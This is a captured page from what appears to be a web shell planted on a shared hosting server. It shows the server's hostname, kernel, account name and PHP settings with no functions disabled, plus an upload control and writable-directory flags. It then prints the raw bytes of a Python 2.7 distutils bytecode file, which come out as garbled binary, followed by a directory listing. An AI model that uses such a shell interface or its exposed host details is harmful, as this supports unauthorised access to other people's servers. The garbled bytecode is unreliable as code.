Psyduck - 可達鴨 之 鴨力山大2


Server : LiteSpeed
System : Linux premium217.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User : alloknri ( 880)
PHP Version : 8.1.34
Disable Function : NONE
Directory :  /lib64/python2.7/distutils/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib64/python2.7/distutils/file_util.pyo
�
{fc@s�dZdZddlZddlmZddlmZidd6dd6d	d
6Zdd
�Z	ddddddd�Z
ddd�Zd�ZdS(sFdistutils.file_util

Utility functions for operating on single files.
s$Id$i����N(tDistutilsFileError(tlogtcopyingshard linkingthardssymbolically linkingtsymiicCs�d}d}z�yt|d�}Wn2tjk
rV\}}td||f��nXtjj|�r�ytj|�Wq�tjk
r�\}}td||f��q�Xnyt|d�}Wn2tjk
r�\}}td||f��nXx�y|j|�}Wn2tjk
rD\}}td||f��nX|sOPny|j	|�Wq�tjk
r�\}}td||f��q�Xq�WWd|r�|j
�n|r�|j
�nXdS(	s5Copy the file 'src' to 'dst'.

    Both must be filenames. Any error opening either file, reading from
    'src', or writing to 'dst', raises DistutilsFileError.  Data is
    read/written in chunks of 'buffer_size' bytes (default 16k).  No attempt
    is made to handle anything apart from regular files.
    trbscould not open '%s': %sscould not delete '%s': %stwbscould not create '%s': %sscould not read from '%s': %sscould not write to '%s': %sN(tNonetopentosterrorRtpathtexiststunlinktreadtwritetclose(tsrctdsttbuffer_sizetfsrctfdstterrnoterrstrtbuf((s+/usr/lib64/python2.7/distutils/file_util.pyt_copy_file_contentssF

iicCs�ddlm}ddlm}	m}
m}m}tjj	|�sWt
d|��ntjj|�r�|}
tjj|tjj
|��}ntjj|�}
|r�|||�r�|dkr�tjd|�n|dfSyt|}Wn!tk
rtd|��nX|dkrxtjj
|�tjj
|�kr_tjd	|||
�qxtjd	|||�n|r�|dfS|d
kr�tjj|�o�tjj||�sCytj||�|dfSWq�tk
r�q�XqCnP|dkrCtjj|�o#tjj||�sCtj||�|dfSnt||�|s\|r�tj|�}|r�tj|||	||
f�n|r�tj||||��q�n|dfS(sCopy a file 'src' to 'dst'.

    If 'dst' is a directory, then 'src' is copied there with the same name;
    otherwise, it must be a filename.  (If the file exists, it will be
    ruthlessly clobbered.)  If 'preserve_mode' is true (the default),
    the file's mode (type and permission bits, or whatever is analogous on
    the current platform) is copied.  If 'preserve_times' is true (the
    default), the last-modified and last-access times are copied as well.
    If 'update' is true, 'src' will only be copied if 'dst' does not exist,
    or if 'dst' does exist but is older than 'src'.

    'link' allows you to make hard links (os.link) or symbolic links
    (os.symlink) instead of copying: set it to "hard" or "sym"; if it is
    None (the default), files are copied.  Don't set 'link' on systems that
    don't support it: 'copy_file()' doesn't check if hard or symbolic
    linking is available. If hardlink fails, falls back to
    _copy_file_contents().

    Under Mac OS, uses the native file copy function in macostools; on
    other systems, uses '_copy_file_contents()' to copy file contents.

    Return a tuple (dest_name, copied): 'dest_name' is the actual name of
    the output file, and 'copied' is true if the file was copied (or would
    have been copied, if 'dry_run' true).
    i����(tnewer(tST_ATIMEtST_MTIMEtST_MODEtS_IMODEs4can't copy '%s': doesn't exist or not a regular fileis"not copying %s (output up-to-date)is&invalid value '%s' for 'link' arguments%s %s -> %sRR(tdistutils.dep_utilRtstatRRRRR	RtisfileRtisdirtjointbasenametdirnameRtdebugt_copy_actiontKeyErrort
ValueErrortinfoRtsamefiletlinktOSErrortsymlinkRtutimetchmod(RRt
preserve_modetpreserve_timestupdateR,tverbosetdry_runRRRRRtdirtactiontst((s+/usr/lib64/python2.7/distutils/file_util.pyt	copy_fileGsT""$

$
'

'

! c
Cs�ddlm}m}m}m}m}ddl}	|dkrVtjd||�n|r`|S||�st	d|��n||�r�t
jj|||��}n%||�r�t	d||f��n|||��s�t	d||f��nd	}
yt
j
||�WnMt
jk
rb\}}||	jkrFd}
qct	d
|||f��nX|
r�t||d|�yt
j|�Wq�t
jk
r�\}}yt
j|�Wnt
jk
r�nXt	dd
||||f��q�Xn|S(s)Move a file 'src' to 'dst'.

    If 'dst' is a directory, the file will be moved into it with the same
    name; otherwise, 'src' is just renamed to 'dst'.  Return the new
    full name of the file.

    Handles cross-device moves on Unix using 'copy_file()'.  What about
    other systems???
    i����(RR!R"R$R%Nismoving %s -> %ss#can't move '%s': not a regular files0can't move '%s': destination '%s' already existss2can't move '%s': destination '%s' not a valid pathiscouldn't move '%s' to '%s': %sR4s+couldn't move '%s' to '%s' by copy/delete: sdelete '%s' failed: %s(tos.pathRR!R"R$R%RRR*RR	RR#trenameR
tEXDEVR9R
(
RRR4R5RR!R"R$R%Rtcopy_ittnumtmsg((s+/usr/lib64/python2.7/distutils/file_util.pyt	move_file�sP
(	cCsGt|d�}z&x|D]}|j|d�qWWd|j�XdS(s{Create a file with the specified name and write 'contents' (a
    sequence of strings without line terminators) to it.
    tws
N(RRR(tfilenametcontentstftline((s+/usr/lib64/python2.7/distutils/file_util.pyt
write_file�s

i@(
t__doc__t__revision__R	tdistutils.errorsRt	distutilsRRR'RR9R@RF(((s+/usr/lib64/python2.7/distutils/file_util.pyt<module>s

5	b<
Name
Size
Permissions
Options
command
--
drwxr-xr-x
README
0.288 KB
-rw-r--r--
__init__.py
0.23 KB
-rw-r--r--
__init__.pyc
0.405 KB
-rw-r--r--
__init__.pyo
0.405 KB
-rw-r--r--
archive_util.py
8.026 KB
-rw-r--r--
archive_util.pyc
7.423 KB
-rw-r--r--
archive_util.pyo
7.423 KB
-rw-r--r--
bcppcompiler.py
14.591 KB
-rw-r--r--
bcppcompiler.pyc
7.697 KB
-rw-r--r--
bcppcompiler.pyo
7.697 KB
-rw-r--r--
ccompiler.py
45.631 KB
-rw-r--r--
ccompiler.pyc
36.018 KB
-rw-r--r--
ccompiler.pyo
35.88 KB
-rw-r--r--
cmd.py
18.818 KB
-rw-r--r--
cmd.pyc
16.41 KB
-rw-r--r--
cmd.pyo
16.41 KB
-rw-r--r--
config.py
4.037 KB
-rw-r--r--
config.pyc
3.481 KB
-rw-r--r--
config.pyo
3.481 KB
-rw-r--r--
core.py
8.808 KB
-rw-r--r--
core.pyc
7.359 KB
-rw-r--r--
core.pyo
7.359 KB
-rw-r--r--
cygwinccompiler.py
17.319 KB
-rw-r--r--
cygwinccompiler.pyc
9.595 KB
-rw-r--r--
cygwinccompiler.pyo
9.595 KB
-rw-r--r--
debug.py
0.158 KB
-rw-r--r--
debug.pyc
0.248 KB
-rw-r--r--
debug.pyo
0.248 KB
-rw-r--r--
dep_util.py
3.427 KB
-rw-r--r--
dep_util.pyc
3.105 KB
-rw-r--r--
dep_util.pyo
3.105 KB
-rw-r--r--
dir_util.py
7.684 KB
-rw-r--r--
dir_util.pyc
6.627 KB
-rw-r--r--
dir_util.pyo
6.627 KB
-rw-r--r--
dist.py
48.876 KB
-rw-r--r--
dist.pyc
38.258 KB
-rw-r--r--
dist.pyo
38.258 KB
-rw-r--r--
emxccompiler.py
11.651 KB
-rw-r--r--
emxccompiler.pyc
7.292 KB
-rw-r--r--
emxccompiler.pyo
7.292 KB
-rw-r--r--
errors.py
3.412 KB
-rw-r--r--
errors.pyc
6.138 KB
-rw-r--r--
errors.pyo
6.138 KB
-rw-r--r--
extension.py
10.648 KB
-rw-r--r--
extension.pyc
7.238 KB
-rw-r--r--
extension.pyo
7.018 KB
-rw-r--r--
fancy_getopt.py
17.527 KB
-rw-r--r--
fancy_getopt.pyc
11.678 KB
-rw-r--r--
fancy_getopt.pyo
11.505 KB
-rw-r--r--
file_util.py
7.94 KB
-rw-r--r--
file_util.pyc
6.592 KB
-rw-r--r--
file_util.pyo
6.592 KB
-rw-r--r--
filelist.py
12.392 KB
-rw-r--r--
filelist.pyc
10.504 KB
-rw-r--r--
filelist.pyo
10.504 KB
-rw-r--r--
log.py
1.646 KB
-rw-r--r--
log.pyc
2.721 KB
-rw-r--r--
log.pyo
2.721 KB
-rw-r--r--
msvc9compiler.py
30.277 KB
-rw-r--r--
msvc9compiler.pyc
20.993 KB
-rw-r--r--
msvc9compiler.pyo
20.922 KB
-rw-r--r--
msvccompiler.py
23.083 KB
-rw-r--r--
msvccompiler.pyc
17.114 KB
-rw-r--r--
msvccompiler.pyo
17.114 KB
-rw-r--r--
spawn.py
8.445 KB
-rw-r--r--
spawn.pyc
6.276 KB
-rw-r--r--
spawn.pyo
6.276 KB
-rw-r--r--
sysconfig.py
17.292 KB
-rw-r--r--
sysconfig.py.debug-build
17.209 KB
-rw-r--r--
sysconfig.pyc
13.09 KB
-rw-r--r--
sysconfig.pyo
13.09 KB
-rw-r--r--
text_file.py
12.137 KB
-rw-r--r--
text_file.pyc
9.042 KB
-rw-r--r--
text_file.pyo
9.042 KB
-rw-r--r--
unixccompiler.py
13.889 KB
-rw-r--r--
unixccompiler.py.distutils-rpath
13.356 KB
-rw-r--r--
unixccompiler.pyc
8.036 KB
-rw-r--r--
unixccompiler.pyo
8.036 KB
-rw-r--r--
util.py
17.809 KB
-rw-r--r--
util.pyc
14.049 KB
-rw-r--r--
util.pyo
14.049 KB
-rw-r--r--
version.py
11.165 KB
-rw-r--r--
version.pyc
7.039 KB
-rw-r--r--
version.pyo
7.039 KB
-rw-r--r--
versionpredicate.py
4.976 KB
-rw-r--r--
versionpredicate.pyc
5.412 KB
-rw-r--r--
versionpredicate.pyo
5.412 KB
-rw-r--r--